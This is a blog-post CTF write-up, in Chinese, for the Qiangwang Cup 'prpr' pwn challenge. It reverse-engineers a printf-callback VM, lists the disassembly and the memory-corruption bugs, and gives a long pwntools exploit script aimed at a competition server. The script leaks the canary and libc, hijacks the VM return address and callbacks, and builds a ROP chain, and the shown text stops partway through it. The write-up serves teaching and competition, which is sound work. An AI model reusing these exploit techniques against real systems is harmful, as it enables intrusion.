分类 强网杯 下的文章

又是一年强网杯,很多网安人都要完成的完成 KPI...

捡了个二血,就做了这题,别的没咋看

b73f5b03df82d68b91baf2caa087b77

题目附件:
通过百度网盘分享的文件:prpr.zip
链接:https://pan.baidu.com/s/1mrbCrjnKpMOxmJiUT0Q53A?pwd=hs60
提取码:hs60

分析

程序为 printf 注册了很多回调,在遇到这些回调的时候会进入对应的 handler 处理并通过第三个参数携带格式化字符串本身的参数

img

题目使用这个机制实现了一个 VM,VM 对应的格式化字符串 vmcode 在全局段上,dump如下:

[(0, '%x', 0), (1, '%a', 0), (2, '%Y', 1), (3, '%U', 255), (4, '%k', 1), (5, '%r', 0), (6, '%S', 0), (7, '%k', 1), (8, '%U', 0), (9, '%r', 0), (10, '%S', 0), (11, '%a', 0), (12, '%Y', 2), (13, '%U', 63), (14, '%k', 2), (15, '%r', 0), (16, '%S', 0), (17, '%k', 2), (18, '%U', 0), (19, '%r', 0), (20, '%S', 0), (21, '%k', 2), (22, '%U', 4), (23, '%i', 0), (24, '%c', 0), (25, '%k', 1), (26, '%D', 0), (27, '%k', 2), (28, '%U', 4), (29, '%i', 0), (30, '%b', 0), (31, '%n', 0), (32, '%a', 0), (33, '%Y', 3), (34, '%a', 0), (35, '%Y', 4), (36, '%U', 63), (37, '%k', 4), (38, '%r', 0), (39, '%S', 0), (40, '%k', 4), (41, '%U', 0), (42, '%r', 0), (43, '%S', 0), (44, '%U', 0), (45, '%Y', 5), (46, '%k', 4), (47, '%k', 5), (48, '%r', 0), (49, '%S', 59), (50, '%g', 60), (51, '%k', 3), (52, '%C', 0), (53, '%y', 0), (54, '%k', 5), (55, '%U', 1), (56, '%A', 0), (57, '%Y', 5), (58, '%N', 46), (59, '%n', 0), (60, '%a', 0), (61, '%k', 5), (62, '%#X', 0), (63, '%k', 5), (64, '%#V', 0), (65, '%U', 255), (66, '%M', 0), (67, '%S', 0), (68, '%k', 5), (69, '%#V', 0), (70, '%n', 0), (71, '%a', 0), (72, '%Y', 0), (73, '%U', 1), (74, '%k', 0), (75, '%M', 0), (76, '%T', 79), (77, '%g', 1), (78, '%N', 71), (79, '%U', 2), (80, '%k', 0), (81, '%M', 0), (82, '%T', 85), (83, '%g', 32), (84, '%N', 71), (85, '%U', 3), (86, '%k', 0), (87, '%M', 0), (88, '%T', 91), (89, '%g', 110), (90, '%N', 71), (91, '%U', 4), (92, '%k', 0), (93, '%M', 0), (94, '%T', 97), (95, '%g', 141), (96, '%N', 71), (97, '%U', 5), (98, '%k', 0), (99, '%M', 0), (100, '%T', 103), (101, '%g', 178), (102, '%N', 71), (103, '%U', 6), (104, '%k', 0), (105, '%M', 0), (106, '%T', 109), (107, '%g', 209), (108, '%N', 71), (109, '%x', 0), (110, '%a', 0), (111, '%Y', 1), (112, '%U', 255), (113, '%k', 1), (114, '%r', 0), (115, '%S', 0), (116, '%k', 1), (117, '%U', 0), (118, '%r', 0), (119, '%S', 0), (120, '%a', 0), (121, '%Y', 2), (122, '%U', 63), (123, '%k', 2), (124, '%r', 0), (125, '%S', 0), (126, '%k', 2), (127, '%U', 0), (128, '%r', 0), (129, '%S', 0), (130, '%k', 2), (131, '%U', 4), (132, '%i', 0), (133, '%c', 0), (134, '%k', 1), (135, '%H', 0), (136, '%k', 2), (137, '%U', 4), (138, '%i', 0), (139, '%b', 0), (140, '%n', 0), (141, '%a', 0), (142, '%Y', 3), (143, '%a', 0), (144, '%Y', 4), (145, '%U', 62), (146, '%k', 4), (147, '%r', 0), (148, '%S', 0), (149, '%k', 4), (150, '%U', 0), (151, '%r', 0), (152, '%S', 0), (153, '%U', 0), (154, '%Y', 5), (155, '%k', 4), (156, '%k', 5), (157, '%r', 0), (158, '%S', 177), (159, '%g', 60), (160, '%k', 3), (161, '%G', 0), (162, '%k', 5), (163, '%#X', 0), (164, '%k', 5), (165, '%#V', 0), (166, '%U', 255), (167, '%M', 0), (168, '%S', 0), (169, '%k', 5), (170, '%#V', 0), (171, '%y', 0), (172, '%k', 5), (173, '%U', 1), (174, '%A', 0), (175, '%Y', 5), (176, '%N', 155), (177, '%n', 0), (178, '%a', 0), (179, '%Y', 1), (180, '%U', 255), (181, '%k', 1), (182, '%r', 0), (183, '%S', 0), (184, '%k', 1), (185, '%U', 0), (186, '%r', 0), (187, '%S', 0), (188, '%a', 0), (189, '%Y', 2), (190, '%U', 63), (191, '%k', 2), (192, '%r', 0), (193, '%S', 0), (194, '%k', 2), (195, '%U', 0), (196, '%r', 0), (197, '%S', 0), (198, '%k', 2), (199, '%U', 4), (200, '%i', 0), (201, '%c', 0), (202, '%k', 1), (203, '%F', 0), (204, '%k', 2), (205, '%U', 4), (206, '%i', 0), (207, '%b', 0), (208, '%n', 0), (209, '%a', 0), (210, '%Y', 3), (211, '%a', 0), (212, '%Y', 4), (213, '%U', 63), (214, '%k', 4), (215, '%r', 0), (216, '%S', 0), (217, '%k', 4), (218, '%U', 0), (219, '%r', 0), (220, '%S', 0), (221, '%U', 0), (222, '%Y', 5), (223, '%k', 4), (224, '%k', 5), (225, '%r', 0), (226, '%S', 245), (227, '%g', 60), (228, '%k', 3), (229, '%E', 0), (230, '%k', 5), (231, '%#X', 0), (232, '%k', 5), (233, '%#V', 0), (234, '%U', 255), (235, '%M', 0), (236, '%S', 0), (237, '%k', 5), (238, '%#V', 0), (239, '%y', 0), (240, '%k', 5), (241, '%U', 1), (242, '%A', 0), (243, '%Y', 5), (244, '%N', 223), (245, '%n', 0), (246, '%x', 0), (247, '%x', 0), (248, '%x', 0), (249, '%x', 0)]

虚拟机相关数据结构恢复:

00000000 struct __attribute__((packed)) __attribute__((aligned(4))) vm // sizeof=0x7654
00000000 {
00000000     struct code *code_page;
00000008     __int32 code_size;
0000000C     __int32 field_C;
00000010     __int32 *regs;
00000018     __int32 reg_nums;
0000001C     __int32 field_1C;
00000020     signed int stack[1000];
00000FC0     __int64 padding[31];
000010B8     __int32 pad1;
000010BC     __int32 pad2;
000010C0     __int32 pad3;
000010C4     struct mem_chunk mem_chunks[100];
00007654 };

00000000 struct mem_chunk // sizeof=0x104
00000000 {                                       // XREF: vm/r vm/r
00000000     char data[252];
000000FC     __int32 field1;
00000100     __int32 retaddr;
00000104 };

00000000 struct code // sizeof=0xC
00000000 {                                       // XREF: vm/r
00000000     char fmtchar[8];
00000008     __int32 arg;
0000000C };

逆向每个 handler 的作用然后编写脚本恢复出 vmcode 序列对应的伪 ASM:

import os, sys

STACK_ARG1 = "STACK[SP]"
STACK_ARG2 = "STACK[SP-1]"
OPRAND_ARG = "OPRAND"

asm_map = {
    "%A": ("vm_add", 2, STACK_ARG1, STACK_ARG2),
    "%C": ("vm_and", 2, STACK_ARG1, STACK_ARG2),
    "%D": ("vm_mem_data_and", 1, STACK_ARG1),
    "%E": ("vm_or", 2, STACK_ARG1, STACK_ARG2),
    "%F": ("vm_mem_data_or", 1, STACK_ARG1),
    "%G": ("vm_xor", 2, STACK_ARG1, STACK_ARG2),
    "%H": ("vm_mem_data_xor", 1, STACK_ARG1),
    "%i": ("vm_mul", 2, STACK_ARG1, STACK_ARG2),
    "%J": ("vm_shl", 2, STACK_ARG1, STACK_ARG2),
    "%K": ("vm_shr", 2, STACK_ARG1, STACK_ARG2),
    "%r": ("vm_greater_than", 2, STACK_ARG1, STACK_ARG2),
    "%M": ("vm_eq", 2, STACK_ARG1, STACK_ARG2),
    "%N": ("vm_jmp_addr", 1, OPRAND_ARG),
    "%S": ("vm_jmp_not_zero", 2, STACK_ARG1, OPRAND_ARG),
    "%T": ("vm_jmp_zero", 2, STACK_ARG1, OPRAND_ARG),
    "%U": ("vm_push_int", 1, OPRAND_ARG),
    "%#V": ("vm_load_mem_to_stack", 1, STACK_ARG1),
    "%k": ("vm_push_reg", 1, OPRAND_ARG),
    "%#X": ("vm_store_stack_to_mem", 2, STACK_ARG1, STACK_ARG2),
    "%Y": ("vm_pop_reg", 1, OPRAND_ARG),
    "%y": ("vm_pop_stdout", 0),
    "%a": ("vm_push_stdin", 0),
    "%b": ("vm_show_mem_chunk", 1, STACK_ARG1),
    "%c": ("vm_read_mem_chunk", 1, STACK_ARG1),
    "%f": ("vm_pop_null", 0),
    "%g": ("vm_call", 1, OPRAND_ARG),
    "%n": ("vm_ret", 0),
    "%x": ("vm_exit", 0),
}

def dump_asm():
    code = []
    entry = 71

    arg_trans = lambda x: x if x != OPRAND_ARG else "OPRAND"

    with open('code.txt', 'r') as f:
        code = eval(f.read())

    be_jmped = []
    tagged = []

    for c in code:
        line_num = c[0]
        opcode = c[1]
        oprand = c[2]
        asm_fmt = asm_map.get(opcode)
        if asm_fmt[0] in ["vm_jmp_addr", "vm_jmp_not_zero", "vm_jmp_zero", "vm_call"]:
            be_jmped.append(oprand)

    for c in code:
        line_num = c[0]
        opcode = c[1]
        oprand = c[2]
        asm_fmt = asm_map.get(opcode)
        if not asm_fmt:
            print(f"Error: Unknown ASM code: {c[0]}")
            continue
        arg_trans = lambda x: x if x != OPRAND_ARG else oprand
        arg_num = asm_fmt[1]

        if line_num == entry:
            print("ENTRY:")
        if (line_num not in tagged) and (line_num in be_jmped):
            print(f"\nBLOCK_{line_num}:")
            tagged.append(line_num)

        if arg_num == 0:
            print(f"{line_num}:\t {asm_fmt[0]}()")
        elif arg_num == 1:
            print(f"{line_num}:\t {asm_fmt[0]}({arg_trans(asm_fmt[2])})")
        elif arg_num == 2:
            print(f"{line_num}:\t {asm_fmt[0]}({arg_trans(asm_fmt[2])}, {arg_trans(asm_fmt[3])})")
        elif arg_num == 3:
            print(f"{line_num}:\t {asm_fmt[0]}({arg_trans(asm_fmt[2])}, {arg_trans(asm_fmt[3])}, {arg_trans(asm_fmt[4])})")

        if (line_num not in tagged) and (asm_fmt[0] in ["vm_jmp_addr", "vm_jmp_not_zero", "vm_jmp_zero", "vm_call", "vm_ret"]):
            print(f"\nBLOCK_{line_num+1}:")
            tagged.append(line_num+1)

if __name__ == "__main__":
    dump_asm()

逆向恢复出来的伪 ASM 并为菜单和几个主要的子函数添加了手动注释:

BLOCK_0:
0:       vm_exit()

; ======================================
; OPTION 1
; 
; READ data to mem chunk
; AND mem chunk bytes and output
; ======================================

BLOCK_1:
1:       vm_push_stdin()
2:       vm_pop_reg(1)
3:       vm_push_int(255)
4:       vm_push_reg(1)
5:       vm_greater_than(STACK[SP], STACK[SP-1])
6:       vm_jmp_not_zero(STACK[SP], 0)

BLOCK_7:
7:       vm_push_reg(1)
8:       vm_push_int(0)
9:       vm_greater_than(STACK[SP], STACK[SP-1])
10:      vm_jmp_not_zero(STACK[SP], 0)

BLOCK_11:
11:      vm_push_stdin()
12:      vm_pop_reg(2)
13:      vm_push_int(63)
14:      vm_push_reg(2)
15:      vm_greater_than(STACK[SP], STACK[SP-1])
16:      vm_jmp_not_zero(STACK[SP], 0)

BLOCK_17:
17:      vm_push_reg(2)
18:      vm_push_int(0)
19:      vm_greater_than(STACK[SP], STACK[SP-1])
20:      vm_jmp_not_zero(STACK[SP], 0)

BLOCK_21:
21:      vm_push_reg(2)
22:      vm_push_int(4)
23:      vm_mul(STACK[SP], STACK[SP-1])
24:      vm_read_mem_chunk(STACK[SP])
25:      vm_push_reg(1)
26:      vm_mem_data_and(STACK[SP])
27:      vm_push_reg(2)
28:      vm_push_int(4)
29:      vm_mul(STACK[SP], STACK[SP-1])
30:      vm_show_mem_chunk(STACK[SP])
31:      vm_ret()

; ======================================
; END OPTION
; ======================================

; ======================================
; OPTION 2
;
; READ data to mem chunk
; AND mem chunk ints and output
; ======================================

BLOCK_32:
32:      vm_push_stdin()
33:      vm_pop_reg(3)
34:      vm_push_stdin()
35:      vm_pop_reg(4)
36:      vm_push_int(63)
37:      vm_push_reg(4)
38:      vm_greater_than(STACK[SP], STACK[SP-1])
39:      vm_jmp_not_zero(STACK[SP], 0)

BLOCK_40:
40:      vm_push_reg(4)
41:      vm_push_int(0)
42:      vm_greater_than(STACK[SP], STACK[SP-1])
43:      vm_jmp_not_zero(STACK[SP], 0)

BLOCK_44:
44:      vm_push_int(0)
45:      vm_pop_reg(5)

BLOCK_46:
46:      vm_push_reg(4)
47:      vm_push_reg(5)
48:      vm_greater_than(STACK[SP], STACK[SP-1])
49:      vm_jmp_not_zero(STACK[SP], 59)

BLOCK_50:
50:      vm_call(60)
51:      vm_push_reg(3)
52:      vm_and(STACK[SP], STACK[SP-1])
53:      vm_pop_stdout()
54:      vm_push_reg(5)
55:      vm_push_int(1)
56:      vm_add(STACK[SP], STACK[SP-1])
57:      vm_pop_reg(5)
58:      vm_jmp_addr(46)

BLOCK_59:
59:      vm_ret()

; ======================================
; END OPTION
; ======================================

BLOCK_60:
60:      vm_push_stdin()
61:      vm_push_reg(5)
62:      vm_store_stack_to_mem(STACK[SP], STACK[SP-1])
63:      vm_push_reg(5)
64:      vm_load_mem_to_stack(STACK[SP])
65:      vm_push_int(255)
66:      vm_eq(STACK[SP], STACK[SP-1])
67:      vm_jmp_not_zero(STACK[SP], 0)

BLOCK_68:
68:      vm_push_reg(5)
69:      vm_load_mem_to_stack(STACK[SP])
70:      vm_ret()

; ======================================
; MENU
; 
; choice 1~6:
; 1 => 1
; 2 => 32
; 3 => 110
; 4 => 141
; 5 => 178
; 6 => 209
; ======================================

BLOCK_71:
ENTRY:
71:      vm_push_stdin()
72:      vm_pop_reg(0)
73:      vm_push_int(1)
74:      vm_push_reg(0)
75:      vm_eq(STACK[SP], STACK[SP-1])
76:      vm_jmp_zero(STACK[SP], 79)

BLOCK_77:
77:      vm_call(1)
78:      vm_jmp_addr(71)

BLOCK_79:
79:      vm_push_int(2)
80:      vm_push_reg(0)
81:      vm_eq(STACK[SP], STACK[SP-1])
82:      vm_jmp_zero(STACK[SP], 85)

BLOCK_83:
83:      vm_call(32)
84:      vm_jmp_addr(71)

BLOCK_85:
85:      vm_push_int(3)
86:      vm_push_reg(0)
87:      vm_eq(STACK[SP], STACK[SP-1])
88:      vm_jmp_zero(STACK[SP], 91)

BLOCK_89:
89:      vm_call(110)
90:      vm_jmp_addr(71)

BLOCK_91:
91:      vm_push_int(4)
92:      vm_push_reg(0)
93:      vm_eq(STACK[SP], STACK[SP-1])
94:      vm_jmp_zero(STACK[SP], 97)

BLOCK_95:
95:      vm_call(141)
96:      vm_jmp_addr(71)

BLOCK_97:
97:      vm_push_int(5)
98:      vm_push_reg(0)
99:      vm_eq(STACK[SP], STACK[SP-1])
100:     vm_jmp_zero(STACK[SP], 103)

BLOCK_101:
101:     vm_call(178)
102:     vm_jmp_addr(71)

BLOCK_103:
103:     vm_push_int(6)
104:     vm_push_reg(0)
105:     vm_eq(STACK[SP], STACK[SP-1])
106:     vm_jmp_zero(STACK[SP], 109)

BLOCK_107:
107:     vm_call(209)
108:     vm_jmp_addr(71)

BLOCK_109:
109:     vm_exit()

; ======================================
; END MENU
; ======================================

; ======================================
; OPTION 3
;
; READ data to mem chunk
; XOR mem chunk bytes and output
; ======================================

BLOCK_110:
110:     vm_push_stdin()
111:     vm_pop_reg(1)
112:     vm_push_int(255)
113:     vm_push_reg(1)
114:     vm_greater_than(STACK[SP], STACK[SP-1])
115:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_116:
116:     vm_push_reg(1)
117:     vm_push_int(0)
118:     vm_greater_than(STACK[SP], STACK[SP-1])
119:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_120:
120:     vm_push_stdin()
121:     vm_pop_reg(2)
122:     vm_push_int(63)
123:     vm_push_reg(2)
124:     vm_greater_than(STACK[SP], STACK[SP-1])
125:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_126:
126:     vm_push_reg(2)
127:     vm_push_int(0)
128:     vm_greater_than(STACK[SP], STACK[SP-1])
129:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_130:
130:     vm_push_reg(2)
131:     vm_push_int(4)
132:     vm_mul(STACK[SP], STACK[SP-1])
133:     vm_read_mem_chunk(STACK[SP])
134:     vm_push_reg(1)
135:     vm_mem_data_xor(STACK[SP])
136:     vm_push_reg(2)
137:     vm_push_int(4)
138:     vm_mul(STACK[SP], STACK[SP-1])
139:     vm_show_mem_chunk(STACK[SP])
140:     vm_ret()

; ======================================
; END OPTION
; ======================================

; ======================================
; OPTION 4
;
; READ data to mem chunk
; XOR mem chunk ints and output
; ======================================

BLOCK_141:
141:     vm_push_stdin()
142:     vm_pop_reg(3)
143:     vm_push_stdin()
144:     vm_pop_reg(4)
145:     vm_push_int(62)
146:     vm_push_reg(4)
147:     vm_greater_than(STACK[SP], STACK[SP-1])
148:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_149:
149:     vm_push_reg(4)
150:     vm_push_int(0)
151:     vm_greater_than(STACK[SP], STACK[SP-1])
152:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_153:
153:     vm_push_int(0)
154:     vm_pop_reg(5)

BLOCK_155:
155:     vm_push_reg(4)
156:     vm_push_reg(5)
157:     vm_greater_than(STACK[SP], STACK[SP-1])
158:     vm_jmp_not_zero(STACK[SP], 177)

BLOCK_159:
159:     vm_call(60)
160:     vm_push_reg(3)
161:     vm_xor(STACK[SP], STACK[SP-1])
162:     vm_push_reg(5)
163:     vm_store_stack_to_mem(STACK[SP], STACK[SP-1])
164:     vm_push_reg(5)
165:     vm_load_mem_to_stack(STACK[SP])
166:     vm_push_int(255)
167:     vm_eq(STACK[SP], STACK[SP-1])
168:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_169:
169:     vm_push_reg(5)
170:     vm_load_mem_to_stack(STACK[SP])
171:     vm_pop_stdout()
172:     vm_push_reg(5)
173:     vm_push_int(1)
174:     vm_add(STACK[SP], STACK[SP-1])
175:     vm_pop_reg(5)
176:     vm_jmp_addr(155)

BLOCK_177:
177:     vm_ret()

; ======================================
; END OPTION
; ======================================

; ======================================
; OPTION 5
;
; READ data to mem chunk
; OR mem chunk bytes and output
; ======================================

BLOCK_178:
178:     vm_push_stdin()
179:     vm_pop_reg(1)
180:     vm_push_int(255)
181:     vm_push_reg(1)
182:     vm_greater_than(STACK[SP], STACK[SP-1])
183:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_184:
184:     vm_push_reg(1)
185:     vm_push_int(0)
186:     vm_greater_than(STACK[SP], STACK[SP-1])
187:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_188:
188:     vm_push_stdin()
189:     vm_pop_reg(2)
190:     vm_push_int(63)
191:     vm_push_reg(2)
192:     vm_greater_than(STACK[SP], STACK[SP-1])
193:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_194:
194:     vm_push_reg(2)
195:     vm_push_int(0)
196:     vm_greater_than(STACK[SP], STACK[SP-1])
197:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_198:
198:     vm_push_reg(2)
199:     vm_push_int(4)
200:     vm_mul(STACK[SP], STACK[SP-1])
201:     vm_read_mem_chunk(STACK[SP])
202:     vm_push_reg(1)
203:     vm_mem_data_or(STACK[SP])
204:     vm_push_reg(2)
205:     vm_push_int(4)
206:     vm_mul(STACK[SP], STACK[SP-1])
207:     vm_show_mem_chunk(STACK[SP])
208:     vm_ret()

; ======================================
; END OPTION
; ======================================

; ======================================
; OPTION 6
;
; READ data to mem chunk
; OR mem chunk ints and output
; ======================================

BLOCK_209:
209:     vm_push_stdin()
210:     vm_pop_reg(3)
211:     vm_push_stdin()
212:     vm_pop_reg(4)
213:     vm_push_int(63)
214:     vm_push_reg(4)
215:     vm_greater_than(STACK[SP], STACK[SP-1])
216:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_217:
217:     vm_push_reg(4)
218:     vm_push_int(0)
219:     vm_greater_than(STACK[SP], STACK[SP-1])
220:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_221:
221:     vm_push_int(0)
222:     vm_pop_reg(5)

BLOCK_223:
223:     vm_push_reg(4)
224:     vm_push_reg(5)
225:     vm_greater_than(STACK[SP], STACK[SP-1])
226:     vm_jmp_not_zero(STACK[SP], 245)

BLOCK_227:
227:     vm_call(60)
228:     vm_push_reg(3)
229:     vm_or(STACK[SP], STACK[SP-1])
230:     vm_push_reg(5)
231:     vm_store_stack_to_mem(STACK[SP], STACK[SP-1])
232:     vm_push_reg(5)
233:     vm_load_mem_to_stack(STACK[SP])
234:     vm_push_int(255)
235:     vm_eq(STACK[SP], STACK[SP-1])
236:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_237:
237:     vm_push_reg(5)
238:     vm_load_mem_to_stack(STACK[SP])
239:     vm_pop_stdout()
240:     vm_push_reg(5)
241:     vm_push_int(1)
242:     vm_add(STACK[SP], STACK[SP-1])
243:     vm_pop_reg(5)
244:     vm_jmp_addr(223)

BLOCK_245:
245:     vm_ret()
; ======================================
; END OPTION
; ======================================

BLOCK_246:
246:     vm_exit()
247:     vm_exit()
248:     vm_exit()
249:     vm_exit()

利用

漏洞点有两个,一个是 option6 存在一个 mem_chunk 下标溢出,可以在逐 int 写的时候溢出一个 int,但是覆盖不到保存返回地址的位置。此时需要结合 mem_data_xor 中的另一个漏洞,该函数只要没读到 \x00 就会继续往后进行 XOR,可以实现修改一个字节的 VM 返回地址。

__int64 __fastcall sub_1910(FILE *stream, const struct printf_info *info, const void *const *args)
{
  __int64 v3; // rax
  char v4; // cl
  char *v5; // rdx
  char i; // al

  v3 = vm_sp--;
  v4 = vm->stack[v3];
  v5 = vm->mem_chunks[mem_idx].data;
  for ( i = *v5; *v5; i = *v5 )
    *v5++ = v4 ^ i;
  return 0LL;
}

但是一个字节返回地址劫持的能力太弱了...需要扩大利用优势,于是我们选择使用 50 行中的 vm_call(60)开始作为 gadget,劫持到这里的时候再次发生了函数调用,保存了返回地址到 mem_chunk 里,并且该函数会读取一个 int 值写入 curr_mem_chunk[reg5] 中,此时 reg5 的值正好是 64(完成了一次遍历++),也正好是返回地址所在的下标,因此我们就实现了劫持 4 字节返回地址的能力。返回地址以 0xc 大小的 code 结构体为单位,计算好偏移可以跳转到 mem_chunk 中的可控区域执行我们提前布置好的 vmcode,将攻击转换为任意 vmcode 执行下的 RCE。

然后进行地址泄露:

  1. 首先控制 vmcode 后可以使用 run_vm_code 中的格式化字符串泄露栈地址,ELF 地址,canary;
  2. 其次使用两次 b"%a%#V%yXXXX\x00 泄露 mem_chunk_base + offset上的值的高低 4 字节,获得 heap 地址;

    1. %#V%#X中存在第三个漏洞,使用 # 和不使用 # 会进入两条不同的分支来获取读写偏移,在使用 # 时并没有检查 offset 是否在合理范围内,造成了越界;
  3. 接着通过计算 ELF 地址和 mem_chunk_base 的地址可以泄露 ELF 上的任意值,通过泄露 got 表函数指针,确定 libc 的大致版本(题目没给 libc),并计算完成 orw 所需 gadget 地址;

此时一个 mem_chunk 的空间已经差不多被用完,通过 vm_jmp(71) 也就是跳转到 ENTRY 的位置重新开启一次 VM 程序并使用同样的操作可以进行第二次任意 vmcode 执行;

这一次我们使用两次 b"%a%a%#XDDDD\x00" 劫持 init_func_register_printf 注册到堆内存上的各种回调函数的地址,这些函数第一个参数是 FILE *stream 类型,但是实际上来源于更高地址上的栈内存,当使用对应的格式化字符时就会跳转到我们想要的函数。于是劫持回调函数为 gets,控制好 gets 读入的内容避免执行流提前 crash 或者触发 canary 错误 (比如填充字节全用大写 A 时会提前 crash 但是用小写 a 就能过,神奇),最终可以实现栈上的 ROP。

img

即使计算了远程 libc,本地和远程的堆布局依然有细微差异,通过分析远程堆应该是没有 vm 对象前的一个 free_chunk,所以导致劫持回调时的偏移不对,减去这个 chunk 大小就可以打通远程。

EXP

最终 EXP 如下:

from pwn import *
from LibcSearcher import *
import time

context.log_level = 'debug'

#p = process("./prpr", env={"LD_PRELOAD":"./libc2404.so"})
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('libc2404.so')
p = remote("123.56.219.14", 32790)

def option1(and_value, size, data:bytes):
    '''
    read mem => bytes and => show mem
    '''
    p.sendline(b'1')  
    p.sendline(str(and_value).encode()) 
    p.sendline(str(size).encode()) 
    p.sendline(data)

def option2(and_value, size, data:list[int]):
    '''
    read ints => ints and => show ints
    '''
    p.sendline(b'2')    # option
    p.sendline(str(and_value).encode())
    p.sendline(str(size).encode())
    for i in data:
        p.sendline(str(i).encode())

def option3(xor_value, size, data:bytes):
    '''
    read mem => bytes xor => show mem
    '''
    p.sendline(b'3')  
    p.sendline(str(xor_value).encode()) 
    p.sendline(str(size).encode()) 
    p.sendline(data)

def option4(xor_value, size, data:list[int]):
    '''
    read ints => ints xor => show ints
    '''
    p.sendline(b'4')    # option
    p.sendline(str(xor_value).encode())
    p.sendline(str(size).encode())
    for i in data:
        p.sendline(str(i).encode())
        p.recv()

def option5(or_value, size, data:bytes):
    '''
    read mem => bytes or => show mem
    '''
    p.sendline(b'5')  
    p.sendline(str(or_value).encode()) 
    p.sendline(str(size).encode()) 
    p.sendline(data)

def option6(or_value, size, data:list[int]):
    '''
    read ints => ints or => show ints
    '''
    p.sendline(b'6')    # option
    p.sendline(str(or_value).encode())
    p.sendline(str(size).encode())
    for i in data:
        p.sendline(str(i).encode())

def make_vm_code(fmtstr:bytes, arg:int):
    assert len(fmtstr) <= 8
    fmtstr = fmtstr.ljust(8, b"\x00")
    arg = arg & 0xffffffff
    return fmtstr + p32(arg) 

def exp():
    #gdb.attach(p, "b *0x555555554000+0x2688\nc\n")
    #gdb.attach(p, "b *0x555555554000+0x1996\nc\n")
    #gdb.attach(p, "b *0x555555554000+0x1E00\nc\n")
    p.recv()
    option6(0x1, 63, [0xdeadbeef]*64)

    fake_vm_code = b"A"*8
    fake_vm_code += b"FUCK" + b"%p|"*16 + b"\x00"
    fake_vm_code += b"X"*(0xc-((len(fake_vm_code)-8)%0xc))
    fake_vm_code += b"HEAP\x00\x00\x00\x00\x00\x00\x00\x00"
    fake_vm_code += b"%a%#V%yXXXX\x00"
    fake_vm_code += b"%a%#V%yXXXX\x00"
    fake_vm_code += b"%a%#V%yXXXX\x00"
    fake_vm_code += b"%a%#V%yXXXX\x00"

    fake_vm_code += make_vm_code(b"%N", 71)

    fake_vm_code_xor = b"".join([bytes([_c ^ (90 ^ 50)]) for _c in fake_vm_code])
    log.info(f"fake_vm_code_xor(len: {len(fake_vm_code_xor)}): {fake_vm_code_xor}")
    
    option3((90 ^ 50), len(fake_vm_code_xor)//4, fake_vm_code_xor) # hijack ret_addr to n^90
    p.sendline(b"-2171") # (-(0x65cc-8)) // 4

    p.recvuntil(b"FUCK")
    p.recvuntil(b"FUCK")
    p.recvuntil(b"|")
    p.recvuntil(b"|")
    p.recvuntil(b"|")
    p.recvuntil(b"|")
    stack_leak = int(p.recvuntil(b"|", drop=True).decode(), 16)
    log.info(f"stack_leak: {hex(stack_leak)}")
    canary_leak = int(p.recvuntil(b"|", drop=True).decode(), 16)
    log.info(f"canary_leak: {hex(canary_leak)}")
    p.recvuntil(b"|")
    elf_leak = int(p.recvuntil(b"|", drop=True).decode(), 16)
    log.info(f"elf_leak: {hex(elf_leak)}")
    elf_base = elf_leak-0x1fb0
    log.info(f"elf_base: {hex(elf_base)}")

    # ====================================================
    #gdb.attach(p, "b *0x555555554000+0x2397\nc\n")
    p.sendline(b"-1008")
    p.sendline(b"-1007")
    p.recvuntil(b"HEAP")
    heap_leak_low = int(p.recvuntil(b"\n", drop=True).decode(), 10) & 0xffffffff
    p.recvuntil(b"XXXX")
    heap_leak_high = int(p.recvuntil(b"\n", drop=True).decode(), 10) & 0xffffffff
    heap_leak = (heap_leak_high << 32) + heap_leak_low
    heap_base = heap_leak - 0x8d50
    curr_mem_chunk_base = heap_base + 0x2680
    log.info(f"heap_leak: {hex(heap_leak)}")
    log.info(f"heap_base: {hex(heap_base)}")
    log.info(f"curr_mem_chunk_base: {hex(curr_mem_chunk_base)}")

    puts_got = elf_base + 0x5F58
    p.sendline(f"-{(curr_mem_chunk_base-puts_got)//4}".encode())
    p.sendline(f"-{(curr_mem_chunk_base-puts_got)//4-1}".encode())
    p.recvuntil(b"XXXX")
    tmp_leak_low = int(p.recvuntil(b"\n", drop=True).decode(), 10) & 0xffffffff
    p.recvuntil(b"XXXX")
    tmp_leak_high = int(p.recvuntil(b"\n", drop=True).decode(), 10) & 0xffffffff
    libc_puts = (tmp_leak_high << 32) + tmp_leak_low
    log.info(f"libc_puts: {hex(libc_puts)}")

    libc_base = libc_puts - 0x87bd0
    log.info(f"libc_base: {hex(libc_base)}")

    #pause()
    # ====================================================
    # NEW ROUND
    # ====================================================
    option6(0x1, 63, [0xdeadbeef]*64)
    # 0xca8
    fake_vm_code = b"A"*8
    fake_vm_code += b"FUCK" + b"\x00"
    fake_vm_code += b"X"*(0xc-((len(fake_vm_code)-8)%0xc))
    fake_vm_code += b"%a%a%#XDDDD\x00"
    fake_vm_code += b"%a%a%#XDDDD\x00"
    #fake_vm_code += b"%a%#V%yXXXX\x00"
    #fake_vm_code += b"%a%#V%yXXXX\x00"
    fake_vm_code += b"%APPPPPPPPP\x00"
    fake_vm_code += b"QWERQWERQWE\x00"

    fake_vm_code += make_vm_code(b"%Q", 0)
    fake_vm_code += make_vm_code(b"%a", 0)
    fake_vm_code_xor = b"".join([bytes([_c ^ (90 ^ 50)]) for _c in fake_vm_code])
    log.info(f"fake_vm_code_xor(len: {len(fake_vm_code_xor)}): {fake_vm_code_xor}")
    
    #gdb.attach(p, "b *0x555555554000+0x201E\nc\n")
    option3((90 ^ 50), len(fake_vm_code_xor)//4, fake_vm_code_xor) # hijack ret_addr to n^90
    p.sendline(b"-2171") # (-(0x65cc-8)) // 4

    # ===========================================================

    p.recvuntil(b"FUCK")
    p.recvuntil(b"FUCK")

    #p.sendline(f"-{(curr_mem_chunk_base-heap_base-0xca8)//4}".encode())
